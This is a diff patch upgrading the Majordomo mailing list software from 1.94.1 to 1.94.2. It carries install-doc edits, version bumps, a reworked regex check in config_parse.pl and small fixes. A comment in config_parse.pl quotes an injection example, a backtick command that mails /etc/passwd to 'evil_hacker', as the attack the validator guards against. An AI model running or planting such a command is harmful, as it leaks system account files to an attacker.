@@ -25,17 +25,19 @@
be a "trusted" user as far as Sendmail is concerned (i.e., the user
name needs to appear on a "T" line in your sendmail.cf file).
-2) Choose a directory for Majordomo to install under.
+2) Choose a directory for Majordomo to install into. This must _NOT_
+ be the same directory you untarred the Majordomo files into or a
+ symbolic link to it.
3) Edit the Makefile, defining where Perl and the C compiler are, the
- Majordomo home directory, the location of the manual pages, the user and
- group that Majordomo will run under, and the permissions for the various
- files and directories.
- If running on a non-POSIX system, comment out the POSIX SECTION in the
- Makefile. Under POSIX, wrapper must be setuid "root", even if the
- programs will be running as something other than "root" (i.e.,
- "daemon"), or it won't work. The symptom of this is that Perl starts
- bitching about security violations and "unsafe usages".
+ Majordomo home directory (chosen in step 2), the location of the
+ manual pages, the user and group that Majordomo will run under, and
+ the permissions for the various files and directories. If running on
+ a non-POSIX system, comment out the POSIX SECTION in the Makefile.
+ Under POSIX, wrapper must be setuid "root", even if the programs will
+ be running as something other than "root" (i.e., "daemon"), or it
+ won't work. The symptom of this is that Perl starts complaining about
+ security violations and "unsafe usages".
4) Edit majordomo.cf.
diff -u ./README ../majordomo-1.94.2#4/README
--- ./README Mon Apr 7 20:56:56 1997
+++ ../majordomo-1.94.2#4/README Sun Apr 20 18:10:39 1997
@@ -8,7 +8,7 @@
Medieval Latin "major domus" - "chief of the house".
(Barnhart Concise Dictionary of Etymology)
@@ -24,9 +24,9 @@
-> upgrading will point out the variables you need to add. <-
- Release 1.94.1 of Majordomo is primarily a bugfix release,
+ Release 1.94.2 of Majordomo is primarily a bugfix release,
incorporating changes which fix problems or correct pressing
- deficiencies in version 1.94. No substantial new
+ deficiencies in version 1.94.1. No substantial new
functionality has been added, but certain necessary
modifications have been made.
@@ -192,7 +192,7 @@
While this chapter is a good introduction to setting up the majordomo
software, it is a tad out of date, since it covers version 1.62. :-( Jerry
-is in the process of updating this for 1.94.1, and an updated version will
+is in the process of updating this for 1.94.2, and an updated version will
hopefully be included in future releases.
The original LISA 6 (Oct 1992, Long Beach, CA) paper describing
diff -u ./config_parse.pl ../majordomo-1.94.2#4/config_parse.pl
--- ./config_parse.pl Mon Mar 10 18:19:54 1997
+++ ../majordomo-1.94.2#4/config_parse.pl Sun Apr 20 18:06:58 1997
@@ -5,7 +5,7 @@
# writes into the global variable %main'config_opts
#
# this array holds the interesting info for use by all tools
@@ -1088,16 +1088,22 @@
# m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy:
# END
#
- elsif (($re =~ m:^((/)|m([^\w\s])): , $dlm=($2||$3)) &&
- $re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$: ){
+ elsif ($re !~ m:^((/)|m([^\w\s])):) {
push(@re_errors,
"|$re| not a valid pattern match expression at line $.\n");
- }
- elsif (eval "'' =~ $re", $@) {
- push(@re_errors, $@);
- }
- else {
- push(@return_re, $re);
+ }
+ else {
+ $dlm=($2||$3);
+ if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) {
+ push(@re_errors,
+ "|$re| not a valid pattern match expression at line $.\n");
+ }
+ elsif (eval "'' =~ $re", $@) {
+ push(@re_errors, $@);
+ }
+ else {
+ push(@return_re, $re);
+ }
}
}
Common subdirectories: ./contrib and ../majordomo-1.94.2#4/contrib
Common subdirectories: ./include and ../majordomo-1.94.2#4/include
diff -u ./majordomo ../majordomo-1.94.2#4/majordomo
--- ./majordomo Wed Apr 2 13:31:15 1997
+++ ../majordomo-1.94.2#4/majordomo Sun Apr 20 18:11:49 1997
@@ -1,5 +1,5 @@
#!/bin/perl
-# $Modified: Wed Apr 2 13:30:32 1997 by cwilson $
+# $Modified: Sun Apr 20 18:10:00 1997 by cwilson $
# majordomo: a person who speaks, makes arrangements, or takes charge
# for another.
@@ -8,8 +8,8 @@
# usage rights.
#
# $Source: /sources/cvsrepos/majordomo/majordomo,v $
-# $Revision: 1.85 $
-# $Date: 1997/04/02 11:31:15 $
+# $Revision: 1.87 $
+# $Date: 1997/04/20 16:11:49 $
# $Author: cwilson $
# $State: Exp $
#
@@ -1205,6 +1205,7 @@
$list = $_;
$list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.)
next if /^(RCS|CVS|core)$/; # files and directories to ignore
+ next if (-d "$listdir/$list"); # skip directories
&get_config($listdir, $list) if !&cf_ck_bool($list, '', 1);
@@ -1621,7 +1622,7 @@
To contact the owner of a specific list, send mail to that list's
approval address, which is formed by adding "-approval" to the user-name
portion of the list's address. For instance, to contact the list owner
-for demo-list\@$whereami, you would send mail to $list-approval\@$whereami.
+for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami.
To get another copy of this help message, send mail to $whoami
with a line saying
diff -u ./majordomo_version.pl ../majordomo-1.94.2#4/majordomo_version.pl
--- ./majordomo_version.pl Mon Apr 7 20:59:16 1997
+++ ../majordomo-1.94.2#4/majordomo_version.pl Sun Apr 20 18:48:22 1997
@@ -1,5 +1,5 @@
-# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.21 1997/04/07 18:59:16 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.23 1997/04/20 16:48:22 cwilson Exp $